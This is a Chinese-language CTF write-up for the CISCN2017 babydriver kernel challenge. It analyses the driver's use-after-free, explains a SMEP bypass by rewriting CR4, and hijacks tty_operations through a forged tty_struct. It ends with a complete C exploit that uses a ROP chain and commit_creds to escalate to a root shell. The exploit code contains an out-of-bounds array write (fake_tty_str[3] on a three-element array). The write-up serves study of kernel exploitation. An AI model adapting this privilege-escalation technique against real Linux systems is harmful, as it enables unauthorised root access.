【Linux内核漏洞利用】CISCN2017-babydriver_过SMEP


参考:https://xz.aliyun.com/t/4529

一、代码分析:

    //babyioctl:定义了 0x10001 的命令,可以释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len。
    void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
      size_t v3; // rdx
      size_t v4; // rbx
      __int64 v5; // rdx
    
      _fentry__(filp, *(_QWORD *)&command);
      v4 = v3;
      if ( command == 0x10001 )
      {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n", 0x24000C0LL, v5);
      }
      else
      {
        printk("\x013defalut:arg is %ld\n", v3, v3);
      }
    }
    
    //babyopen: 申请一块空间,大小为 0x40 字节,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
    int __fastcall babyopen(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
      babydev_struct.device_buf_len = 64LL;
      printk("device open\n", 0x24000C0LL, v2);
      return 0;
    }
    
    //babyread: 先检查长度是否小于 babydev_struct.device_buf_len,然后把 babydev_struct.device_buf 中的数据拷贝到 buffer 中,buffer 和长度都是用户传递的参数
    void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
    
      _fentry__(filp, buffer);
      if ( babydev_struct.device_buf )
      {
        if ( babydev_struct.device_buf_len > v4 )
          copy_to_user(buffer, babydev_struct.device_buf, v4);
      }
    }
    
    //babywrite: 类似 babyread,不同的是从 buffer 拷贝到全局变量中
    void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
    
      _fentry__(filp, buffer);
      if ( babydev_struct.device_buf )
      {
        if ( babydev_struct.device_buf_len > v4 )
          copy_from_user(babydev_struct.device_buf, buffer, v4);
      }
    }
    
    //babyrelease: 释放空间,没什么好说的
    int __fastcall babyrelease(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      kfree(babydev_struct.device_buf);
      printk("device release\n", filp, v2);
      return 0;
    }

二、漏洞分析及利用(绕过SMEP)

1.如何绕过

原理:SMEP即内核执行保护,当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误;系统根据CR4寄存器的第20位判断内核是否开启SMEP,为1时开启,为0时关闭(第21位是SMAP位)。


SMEP_SMAP寄存器位.jpg

关闭SMEP方法:

mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;

2.如何劫持控制流

利用到结构体tty_struct(本结构大小是0x2e0):

    struct tty_struct {
        int magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;        < -------------------------- 这里
        int index;
        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;
        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
        /* Termios values are protected by the termios rwsem */
        struct ktermios termios, termios_locked;
        struct termiox *termiox;    /* May be NULL for unsupported */
        char name[64];
        struct pid *pgrp;       /* Protected by ctrl lock */
        struct pid *session;
        unsigned long flags;
        int count;
        struct winsize winsize;     /* winsize_mutex */
        unsigned long stopped:1,    /* flow_lock */
                  flow_stopped:1,
                  unused:BITS_PER_LONG - 2;
        int hw_stopped;
        unsigned long ctrl_status:8,    /* ctrl_lock */
                  packet:1,
                  unused_ctrl:BITS_PER_LONG - 9;
        unsigned int receive_room;  /* Bytes free for queue */
        int flow_change;
        struct tty_struct *link;
        struct fasync_struct *fasync;
        wait_queue_head_t write_wait;
        wait_queue_head_t read_wait;
        struct work_struct hangup_work;
        void *disc_data;
        void *driver_data;
        spinlock_t files_lock;      /* protects tty_files list */
        struct list_head tty_files;
    #define N_TTY_BUF_SIZE 4096
        int closing;
        unsigned char *write_buf;
        int write_cnt;
        /* If the tty has a pending do_SAK, queue it here - akpm */
        struct work_struct SAK_work;
        struct tty_port *port;
    } __randomize_layout;

其中有一个很有用的存函数指针的结构体tty_operations:

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);     < -------------------------- 这里
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;

问题1:如何调用这个结构体?

......当open("/dev/ptmx", O_RDWR)时会创建一个tty_struct。

问题2:如何使用tty_operations中的函数指针?

......往上面所open的文件中write就会调用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函数,依次类推。

步骤:

......可以利用UAF构造大小和tty_struct一样的空间(0x2e0)去存储新建的tty_struct,从而达到修改tty_struct的效果,并直接构造用户态的伪tty_operations,修改其中的函数为rop,从而在调用函数时成功劫持程序流到我们所构造的rop中。

3.exp构造

(1)伪造tty_struct结构

先使tty_struct结构的const struct tty_operations *ops;指针指向伪造的fake_tty_operations。

    int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    
        unsigned long fake_tty_str[3] = {0};
        read(fd2,fake_tty_str,32);            //读取前3个8字节,保证和原先一样
        fake_tty_str[3] = fake_tty_opera;     //第4个指针指向fake_tty_operations,这个fake_tty_opera直接构造即可。
        //printf("fake_tty_opera:%x",fake_tty_opera);
        write(fd2,fake_tty_str,32);

(2)伪造fake_tty_opera结构,劫持控制流
再伪造fake_tty_opera结构,通过第8个指针write劫持控制流,第8个指针放上我们的rop。问题是这时候rsp指向内核栈,只能执行1个gadget。
起初这样构造fake_tty_opera:

    unsigned long fake_tty_opera[30] = {
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xffffffff8100ce6e,  // pop rax ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };

当执行write函数时,会跳转到0xffffffff8100ce6e处的gadget执行,此时状态如下:


执行fake_write时状态.png

此时rax指向fake_tty_opera结构,rsp指向内核栈。我们可以在fake_tty_opera结构上布置rop链,利用唯一的gadget将rax赋值给rsp。

可用如下gadget:

mov rsp,rax
xchg rsp,rax

栈回溯看看情况,当我们调用write的时候,会执行到我们构造的fake_tty_opera中的write函数偏移为8组的位置:


执行fake_write时状态2.png

这里我们利用gadget:mov rsp,rax ; dec ebx ; ret。所以rop修改如下:

    unsigned long fake_tty_opera[30] = {
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };

(3)继续构造rop链提权
以上fake_tty_opera中的rop已经更改了cr4寄存器,即关闭了smep保护。由于fake_tty_opera空间太小,可跳转到更大的空间继续构造rop链。接下来rop的任务是调用commit_creds(prepare_kernel_cred(0))函数来提权,由于关闭了soep,可直接用ret2user方法。

    unsigned long rop[30] = {
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };

问题:不能将unsigned long rop[30]设置为unsigned long rop[],不然执行完dec ebx后数组rop的内容会发生改变。很奇怪???????

(4)exp如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    unsigned long user_cs,user_ss,user_rsp,user_flag;
    unsigned long prepare_kernel_cred = 0xffffffff810a1810;
    unsigned long commit_creds = 0xffffffff810a1420;
    
    void save_state(){
        __asm__(
                "mov user_cs,cs;"
                "mov user_ss,ss;"
                "mov user_rsp,rsp;"
                "pushf;"
                "pop user_flag;"
               );
        puts("[*] save the state success!");
    }
    
    void getshell(){
        system("/bin/sh");
    }
    
    void getroot(){
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    
    int main(){
    
        save_state();
    
        unsigned long rop[] = {                                                   //状态转化,getshell
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };
    
        unsigned long fake_tty_opera[30] = {                                               //伪造的tty_opera
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };
    
        int fd1 = open("/dev/babydev",2);
        int fd2 = open("/dev/babydev",2);
    
        ioctl(fd1,0x10001,0x2e0);
    
        //printf("rop:%x",rop);
        close(fd1);
    
        int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    
        unsigned long fake_tty_str[3] = {0};
        read(fd2,fake_tty_str,32);
        fake_tty_str[3] = fake_tty_opera;                                   //修改tty_struct
        //printf("fake_tty_opera:%x",fake_tty_opera);
        write(fd2,fake_tty_str,32);
    
        write(fd3,"V1NKe",5);                                   //触发rop
    
        return 0;
    }

推荐阅读更多精彩内容